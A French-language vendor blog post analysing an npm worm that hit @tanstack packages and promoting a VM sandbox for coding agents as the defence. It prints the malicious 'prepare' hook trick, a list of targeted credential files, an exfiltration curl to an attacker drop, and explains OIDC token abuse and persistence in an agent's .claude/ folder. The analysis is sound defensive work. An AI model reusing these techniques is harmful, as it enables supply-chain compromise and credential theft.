Retour à tous les articles
Publié le · par Renaud Deraison

Le ver qui s'écrit lui-même dans .claude

Le 11 mai 2026, un ver npm appelé Mini Shai-Hulud a ajouté une ligne optionalDependencies à 42 packages dans l'espace de noms @tanstack. L'installation de l'un d'entre eux a exécuté un script Bun qui a récupéré un token OIDC depuis l'environnement GitHub Actions, l'a utilisé pour publier d'autres versions compromises avec une provenance SLSA valide, s'est copié dans .claude/ pour la prochaine fois que l'agent de codage démarrerait, et a exfiltré tout de ~/.aws à votre portefeuille crypto. Les packages étaient signés. L'attestation était valide. Voici à quoi ressemble la chaîne, et ce qui change quand l'agent qui a exécuté l'installation vit dans une VM Bromure per-task.

Le 11 mai 2026, entre environ 19h20 et 19h26 UTC, quelqu'un a poussé quatre-vingt-quatre artefacts malveillants à travers quarante-deux packages @tanstack — y compris @tanstack/react-router, la bibliothèque de routage que douze millions de lignes npm install tirent chaque semaine. Les packages étaient signés par le vrai pipeline de release de TanStack, portant une provenance SLSA valide, car le ver n'avait pas volé de token de publication. Il a détourné le runner GitHub Actions de TanStack en plein build. Et avant de partir, sur chaque machine qui installait une des mauvaises versions, il a écrit une copie de persistance de lui-même dans .claude/.

Il y a un type d'attaque de supply-chain qui est documenté parce que quelqu'un a volé le mot de passe d'un mainteneur. Ce n'en est pas une. La version de Mini Shai-Hulud que Aikido, Socket, Wiz, et Snyk ont tous attrapée lundi soir n'avait pas besoin de mot de passe. Il fallait qu'un développeur quelque part tape npm install sur un projet qui dépendait, de manière transitive, de @tanstack/react-router. Le reste — y compris la partie où la CI de TanStack elle-même a forgé la signature sur la release malveillante — était automatique.

La mécanique compte, car c'est elle qui fait de cette attaque une question sur à quoi l'agent de codage sur votre laptop a les clés, plutôt qu'une question sur npm. Alors parcourons la chaîne.

La ligne de JSON.

Le premier build malveillant de @tanstack/react-router, version 1.169.5, contenait un package.json avec exactement ceci :

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

Une URL Git, pas un package npm. Un commit épinglé, pas une plage de versions. Le package.json de ce commit, à son tour, contenait :

"scripts": {
  "prepare": "bun run tanstack_runner.js && exit 1"
}

Quand npm installe une dépendance Git, il exécute le script prepare de la dépendance. Ce n'est pas un bug ; c'est le contrat documenté, car les dépendances Git sont généralement du source, et le source a généralement besoin d'un build. Le && exit 1 est la partie intelligente : cela fait échouer l'installation de la dépendance optionnelle, ce qui signifie que npm ne l'enregistre pas dans package-lock.json, ce qui signifie qu'une victime auditant le lockfile un jour plus tard ne voit rien de mal. La charge utile a tourné. Le lockfile est propre.

Le runtime, au fait, est Bun. Pas Node. npm installera Bun pour vous à la demande, donc le ver n'a même pas besoin d'apporter le sien. Il n'y a rien de mal avec Bun — c'est un runtime JavaScript parfaitement raisonnable — mais sa présence donne au code obfusqué une toolchain légèrement moins encombrée pour se cacher, et c'est, pour le moment, ce que l'attaquant veut.

Ce que fait le runner une fois qu'il tourne.

Trois fichiers. Chacun est indépendamment mauvais.

router_init.js est le voleur de credentials. Il parcourt le disque pour les suspects habituels — ~/.aws/credentials, ~/.npmrc, ~/.docker/config.json, ~/.config/gh/hosts.yml, ~/.kube/config, ~/.ssh/*, et tout dotfile dont le nom contient le mot token — plus la liste qui distingue cette attaque des incidents de supply-chain de 2022 : les coffres-forts sur disque des portefeuilles d'extensions de navigateur (MetaMask, Phantom, Keplr), les fichiers de session locaux de Cursor et Windsurf, le propre token de l'agent assis dans l'environnement du processus parent, et tous les fichiers de configuration de serveur MCP dans l'arborescence du projet. Quoi qu'il trouve, il le tar, le chiffre, et l'expédie vers filev2.getsession.org/file/, un drop contrôlé par l'attaquant hébergé derrière un service de partage de fichiers autrement légitime pour que l'egress ressemble à un curl vers un CDN.

tanstack_runner.js est le propagateur. Une fois qu'il a volé le token npm de la victime, il énumère les packages que ce token peut publier, repack chaque tarball avec la ligne optionalDependencies malveillante épissée dans package.json, incrémente la version, et republie. C'est la partie qui fait de Mini Shai-Hulud un ver plutôt qu'un seul mauvais package : chaque mainteneur qui installe une dépendance compromise devient potentiellement le prochain attaquant.

router_runtime.js est la copie de persistance. Le démontage de Socket note que le runner écrit une copie de lui-même dans le sous-répertoire .claude/ de quel que soit le projet dans lequel il se trouve, car .claude/ est le répertoire que Claude Code lit au démarrage pour les paramètres de portée de projet, les commandes slash, et les configurations d'outils. La prochaine fois que le développeur ouvre ce repo dans Claude Code — ou pire, la prochaine fois que leur agent de codage ouvre automatiquement le repo sur une machine fraîchement checkout — le fichier de persistance est déjà dans l'arbre de travail de l'agent. Le ver est patient.

Le truc OIDC : comment un package malveillant a obtenu une provenance SLSA valide.

Voici la partie qui devrait tenir éveillé la nuit quiconque fait tourner un pipeline de release. Le @tanstack/[email protected] compromis est arrivé sur npm avec une provenance SLSA valide. Sigstore l'a signé. L'API d'attestation de GitHub l'a béni. Si vous aviez scripté une vérification qui disait "n'installer que des packages avec provenance", vous l'auriez installé quand même.

La raison est mécanique. La provenance SLSA ne dit pas "ce code est sûr." Elle dit "cet artefact a été construit par le workflow dont l'identité OIDC l'a signé." Pour que ce soit un signal de sécurité, le workflow lui-même doit être non-compromis. Dans ce cas, le workflow était le vrai workflow de release de TanStack — mais une étape plus tôt dans le même job a exécuté une dépendance dont le propre script d'installation (ici, le script prepare d'un package malveillant que l'arbre de dépendances de TanStack contenait déjà une version injectée par le ver) avait exécuté à l'intérieur du runner. Le runner est un arbre de processus. Le runner a la variable d'environnement ACTIONS_ID_TOKEN_REQUEST_TOKEN et l'URL ACTIONS_ID_TOKEN_REQUEST_URL, c'est comme ça que les workflows légitimes forgent des tokens OIDC à courte durée. De même que tout autre chose qui tourne dans cet arbre de processus. Le ver a appelé le même endpoint, a obtenu un token scopé au repository de TanStack, l'a utilisé pour publier, et Sigstore a signé le résultat car, du point de vue de Sigstore, TanStack a publié. Le writeup de Socket est direct à ce sujet : "Ne faites pas confiance aux badges de provenance Sigstore seuls comme signal de sécurité."

C'est la même leçon que les incidents LiteLLM et Bitwarden CLI dont nous avons parlé il y a deux semaines, reformulée dans un registre qui pensait avoir verrouillé la porte d'entrée. Le lockfile n'est pas une défense si la charge utile est dans prepare. La signature n'est pas une défense si le runner du signataire est la charge utile.

À quoi ressemble la chaîne de bout en bout.

LAPTOP DÉVELOPPEUR — système de fichiers hôte visible par tout ce que l'agent exécuteAGENT DE CODAGE$ claude> ajouter router à l'apptool: bashnpm i @tanstack/react-router↳ optionalDep échoue (bien !)↳ prepare a tourné quand mêmeREGISTRE npm@tanstack/react-router 1.169.5 signature: VALIDE provenance SLSA: okoptionalDependencies: github:tanstack/routerprepare → bun run tanstack_runner.jsrouter_init.js→ balayer les secrets hôtetanstack_runner.js→ republier avec token npmrouter_runtime.js→ copier dans .claude/lit: ~/.aws, ~/.npmrc, $GH_TOKEN, ~/.ssh, coffre MetaMask, sessions cursor/windsurfSYSTÈME DE FICHIERS HÔTE — tout réel, tout lisible par le script prepare~/.aws/credentialsAKIA… réel~/.npmrc_authToken (republier ici)$GH_TOKEN, ~/.config/gh/hosts.ymlghp_… réel~/.ssh/id_ed25519clé privée sur disque~/Library/.../MetaMask/vault.json — chiffré, exfiltré, forcé en brute~/Library/.../Cursor/état workspace, tokens agentPERSISTANCE./project/.claude/ router_runtime.jschargé la prochaine fois que l'agentouvre ce repoaussi: ./node_modules/.bin/*aussi: ~/.bashrc tailEXFILTRATIONtar | aes-256 | curl -X POST https://filev2.getsession.org/file/ressemble à un upload ordinaire vers un hôte de partage de fichiers. le firewall egress voit une requête en forme de CDN.
La chaîne sur une machine de développeur où l'agent de codage exécute npm install directement. Le lockfile est propre car la dépendance malveillante échoue exprès. Le script prepare d'une URL Git récupère trois scripts Bun obfusqués qui (a) balayent ~/.aws, ~/.npmrc, $GH_TOKEN, ~/.ssh, les coffres-forts de portefeuilles d'extensions de navigateur, et les fichiers de session Cursor/Windsurf ; (b) utilisent le token npm volé pour republier plus de packages compromis ; (c) écrivent une copie de persistance dans .claude/ pour que la prochaine session d'agent la charge. Le POST d'exfil va vers filev2.getsession.org. Pas de 0-day, pas d'escalation ; l'agent installe le package que l'agent était censé installer.

L'image a deux propriétés qui valent la peine de s'attarder dessus, car ce sont elles qui décident quelles mitigations fonctionnent et lesquelles ne fonctionnent pas.

La première est que chaque fichier que le ver lit est un fichier que l'utilisateur a mis là pour l'utilisateur. Personne n'a choisi de donner à une bibliothèque de routage l'accès à ~/.aws/credentials. La raison pour laquelle elle a l'accès, c'est que le shell qui a exécuté npm install a l'accès, car le développeur qui était assis devant ce shell a l'accès, et c'est comme ça qu'Unix fonctionne. L'agent est, mécaniquement, une extension des mains du développeur. Il hérite de la portée du développeur.

La seconde est que l'étape destructive n'est pas le vol de credentials. C'est l'écriture de persistance dans .claude/. Un pur vol de credentials est une arme à un coup — faites tourner les clés et vous avez terminé. Un fichier de persistance dans le répertoire de config de portée de projet de l'agent signifie que la prochaine session de codage, sur une machine fraîchement checkout, avec un développeur différent, exécute le ver à nouveau, avec les clés de ce développeur, sur la machine de ce développeur. Le rayon d'explosion n'est pas un laptop. C'est l'équipe.

La même chaîne à l'intérieur de Bromure Agentic Coding.

Bromure Agentic Coding est la configuration dans laquelle l'agent de codage — Claude Code, le CLI de Cursor, le CLI Codex, Aider, peu importe votre préférence — tourne à l'intérieur d'une VM Bromure per-task, avec le dossier de projet monté dedans, et rien d'autre. La VM est le même invité Linux jetable qu'un onglet de navigateur Bromure utilise ; l'agent vit juste dedans pour la durée de vie d'une tâche au lieu de la durée de vie d'un chargement de page.

Voici ce que cela fait à la chaîne ci-dessus, fichier par fichier.

VM BROMURE — invité jetable dans lequel l'agent de codage tourneAGENT DE CODAGE (dans VM)$ claude> ajouter router à l'apptool: bashnpm i @tanstack/react-router↳ prepare tourne↳ à l'intérieur de l'invitéSYSTÈME DE FICHIERS INVITÉ — stubs et absences~/.aws/credentialsaws_secret = stub-aws-…~/.npmrc_authToken = stub-npm-…$GH_TOKENghp_stub_…~/.ssh/id_ed25519Fichier ou répertoire inexistantCoffres MetaMask, Phantom, Keplrpas installés dans l'invitéFichiers de session Cursor/Windsurfpas sur disquePERSISTANCE./project/.claude/ router_runtime.jsécrit, mais.claude/ est sur ledisque CoW de l'invité→ détruit au resetHYPERVISEUR — courtier de credentials + proxy egressHÔTE macOS — vrais secrets, jamais traversé la frontièreVRAI COFFRE DE CREDENTIALSKeychain macOSid_ed25519 (privé)~/.aws/credentialsAKIA… (réel)~/.config/gh/hosts.ymlghp_real…~/.npmrcnpm_… (vraie publication)~/Library/.../MetaMask/vault.json (réel)~/Library/.../Cursor/sessions agent, tokens~/.bashrc, ~/.zshrcpas de persistance ajoutéePROXY EGRESS — observable, en liste blanchegit push → api.github.com stub ghp_… ⇒ real ghp_… (en liste blanche)npm publish → registry.npmjs.org token npm stub n'existe pas sur hôte ⇒ publish 401 UnauthorizedPOST filev2.getsession.org pas en liste blanche ⇒ bloqué, loggé dans trace sessionLa tentative d'exfil est visible par le proxy. La trace session l'enregistre. La VM disparaît.
Le même npm install, le même script prepare, les mêmes trois runners Bun, à l'intérieur d'une VM Bromure per-task. router_init.js balaie un système de fichiers invité qui contient des stubs (ou, plus souvent, rien du tout) où l'hôte avait de vraies clés. tanstack_runner.js trouve un token npm stub et ne peut rien publier. router_runtime.js écrit une copie de persistance dans un répertoire .claude/ qui vit à l'intérieur d'un disque jetable qui va être supprimé à la fin de la tâche. Le POST d'exfil sort — l'egress est courtisé, donc cette tentative est observable et bloquable, mais même si elle réussit elle porte des stubs.

Mapper les étapes du ver là où elles meurent.

Parcourir les trois fichiers du runner contre les frontières de Bromure, un par un, c'est la partie où cela cesse d'être un slogan et commence à être une checklist.

router_init.js tend la main vers les clés.

Le runner lit ~/.aws/credentials, ~/.npmrc, $GH_TOKEN, ~/.config/gh/hosts.yml, ~/.kube/config, ~/.docker/config.json, et ~/.ssh/id_ed25519. À l'intérieur de la VM Bromure, les quatre premiers sont des stubs — des fichiers de credentials syntaxiquement valides contenant des strings qui ne signifient rien sur l'internet public. Le kubeconfig est aussi un stub (ou absent, si vous n'avez pas configuré de cluster Kubernetes pour cette tâche). La config Docker est un stub. La clé privée SSH n'est pas du tout sur disque ; la VM a un socket ssh-agent forwarded dont le matériel de clé vit dans le Keychain macOS du côté hôte de l'hyperviseur. Le cat ~/.ssh/id_ed25519 du runner retourne Fichier ou répertoire inexistant et le runner continue.

Qu'en est-il de MetaMask, Phantom, et Keplr ? Ce sont des extensions de navigateur. Bromure n'installe aucune extension Chrome dans son navigateur du tout — pas de manière "curée" ou "sandboxée", juste pas du tout — et la VM per-task qui fait tourner votre agent de codage n'a pas non plus de portefeuille desktop assis sur son système de fichiers. Les coffres de portefeuille que le runner cherche vivent sur votre hôte, dans votre vrai profil de navigateur, de l'autre côté d'une frontière Linux/macOS que le runner ne peut pas atteindre.

Les fichiers de session Cursor et Windsurf sont un cas intermédiaire intéressant. Si vous faites tourner votre agent de codage à l'intérieur d'une session agentic Bromure, alors "le fichier de session de Cursor" est le fichier à l'intérieur de cette VM — qui est une VM fraîche dont la seule identité d'agent connectée est celle que vous venez de provisionner pour cette tâche, scopée à ce repo, valide pour cette tâche. Le runner va exfiltrer ce token. Le token est bon pour une tâche sur un repo. Quand la tâche se termine, le token est tourné. Le rayon d'explosion est ce que l'agent était déjà autorisé à faire, ce qui n'est pas rien — voir ci-dessous — mais c'est loin de "l'attaquant a maintenant tout mon abonnement AI."

tanstack_runner.js essaie de republier.

Toute la raison d'être du propagateur est d'utiliser le token npm de la victime pour publier plus de packages compromis. À l'intérieur de la VM, le token npm dans ~/.npmrc est un stub. Le proxy egress sur l'hôte connaît api.github.com et registry.npmjs.org pour le vrai repo sur lequel l'utilisateur travaille actuellement, mais il ne forward pas aveuglément les requêtes de publication contre des packages arbitraires non liés avec le vrai token npm de l'hôte. (Si vous n'avez pas l'intention de publier depuis cette tâche, la liste blanche du proxy n'inclut pas npm du tout.) La tentative de publication revient 401 Unauthorized, et la boucle de propagation du ver meurt au fil.

C'est la différence entre un courtier de credentials et un bind mount. Un conteneur qui monte ~/.npmrc en lui-même donne au runner le vrai token de publication. Une VM qui a un stub ~/.npmrc et un proxy côté hôte qui connaît la différence entre "l'agent pousse vers son propre repo de travail" et "un script republie quarante autres packages dont je n'ai jamais entendu parler" donne au runner un 401. Même input. Topologie différente.

router_runtime.js s'écrit dans .claude.

Le fichier de persistance est le mouvement qui convertit un incident à un onglet en pandémie multi-onglets, et c'est le mouvement auquel le modèle de disque jetable de Bromure Agentic Coding est structurellement allergique.

.claude/ vit à l'intérieur de l'arbre de projet, qui sur une session d'agent Bromure est monté dans la VM au début de la tâche. Donc le ver écrit avec succès router_runtime.js dans ./project/.claude/. Ce fichier fait maintenant partie de l'arbre de travail de votre repo. Il est aussi, selon vos paramètres de tâche, soit (a) à l'intérieur du disque CoW jetable de la VM et sur le point d'être supprimé à la fin de la session, ou (b) du côté hôte du mount et sur le point d'apparaître dans git status. Dans le cas (a) la persistance disparaît. Dans le cas (b) la persistance est assise devant le développeur avec un diff rouge à côté.

Le cas que personne ne veut est le silencieux : le ver tourne sur le laptop, écrit .claude/router_runtime.js, le fichier est npm ignored par quelque config héritée, et la persistance reste là se chargeant dans chaque future session Claude Code dans ce repo parce que personne n'a jamais regardé. C'est le cas que Bromure enlève par défaut — parce que soit le disque disparaît, soit le fichier est dans le diff visible.

Pourquoi un conteneur ne vous amène pas ici.

La même objection s'applique que dans le writeup Bitwarden CLI : vous pouvez mettre un agent de codage dans un conteneur, et pour beaucoup de tâches quotidiennes c'est vraiment une amélioration par rapport à le faire tourner sur l'hôte. Mais la frontière n'est pas là où le ver s'en soucie.

Pour rendre un conteneur utile pour les choses qu'un agent de codage fait — pour lui laisser faire git push, gh pr create, npm install depuis un registre privé, pousser des images — vous finissez par monter ~/.ssh, ~/.npmrc, et le token GitHub dans le conteneur. Le script prepare fait cat ~/.ssh/id_ed25519 et obtient le vrai fichier. Un bind mount est exactement le ventre mou que le ver cherchait, et il ne cesse pas d'être un ventre mou parce que Docker est impliqué.

Les portefeuilles d'extensions de navigateur comptent pour la même raison. Une fois qu'un conteneur est configuré pour être utile pour "scraper le site docs pour que je puisse le résumer" ou "ouvrir un aperçu localhost" — tâches agentiques communes — son accès au vrai profil de navigateur de l'hôte devient la question. La VM per-task de Bromure n'a pas votre profil de navigateur dedans. Elle n'a pas votre portefeuille dedans. Elle n'a pas votre équivalent LastPass dedans. L'agent parle à un Chromium frais, sans marque, sur l'invité, qui est, intentionnellement, le navigateur principal de personne.

Où cela ne vous sauve pas.

Deux endroits, et les deux méritent d'être nommés pour qu'ils ne soient pas des surprises.

L'agent peut toujours livrer du mauvais code.

Rien sur une VM per-task n'empêche un agent d'être persuadé, par un README empoisonné ou un serveur MCP retournant des instructions d'apparence utile, de commiter une backdoor dans votre code et de la pousser. La frontière protège les credentials sur votre machine. Elle ne revoit pas le diff. Lisez le diff. La trace de session rend plus facile de savoir quels diffs lire.

La liste blanche egress est tout le jeu.

Si votre tâche met en liste blanche npm publish vers votre propre scope parce que vous publiez aujourd'hui, et que vous installez par hasard un ver aujourd'hui, le ver publiera sous votre scope. Le courtage fonctionne parce que la liste blanche est étroite. Rendez-la étroite exprès. Une tâche qui n'a pas besoin de publier ne devrait pas pouvoir publier.

Le presse-papier est toujours partagé par défaut.

Bromure vient avec le partage de presse-papier entre hôte et invité activé, parce que coller un message d'erreur dans un chat est quelque chose que les humains ont besoin de faire. Si vous faites quelque chose de sensible à l'intérieur d'une tâche, isolez le presse-papier pour cette VM. Le contrôle est là. Ce n'est juste pas le défaut.

La trace est votre log d'audit, pas votre IDS.

La trace de session capture chaque commande shell, écriture de fichier, et requête sortante. Elle ne classe pas filev2.getsession.org comme mauvais par elle-même. Elle capture que la requête a été faite, pour que quand quelqu'un publie un writeup comme celui d'Aikido demain matin, votre grep prenne deux secondes.

Une dernière chose.

Il y a une version de cette histoire où la réponse est "auditez votre lockfile." Le lockfile était propre. Il y a une version où la réponse est "n'installez que des packages avec provenance." La provenance était valide. Il y a une version où la réponse est "utilisez un conteneur." Le conteneur a un bind mount.

La version qui tient vraiment face à un ver dont la charge utile tourne avant que le lockfile soit écrit et à l'intérieur de la CI du publisher lui-même est la version où l'agent qui tape est assis à l'intérieur d'une VM Linux jetable dont le proxy côté hôte détient les vraies clés. Le contrat du registre npm ne change pas. Le hook prepare tourne toujours. Bun boot toujours. router_init.js fait toujours son balayage. Il balaie juste un invité dont les secrets ne sont pas les secrets de l'utilisateur, et le disque jetable sur lequel il essaie de persister disparaît avant le prochain café.

Bromure Agentic Coding est la configuration où c'est le défaut. C'est gratuit, open-source, et livré aujourd'hui. Le prochain ver est déjà en cours d'upload.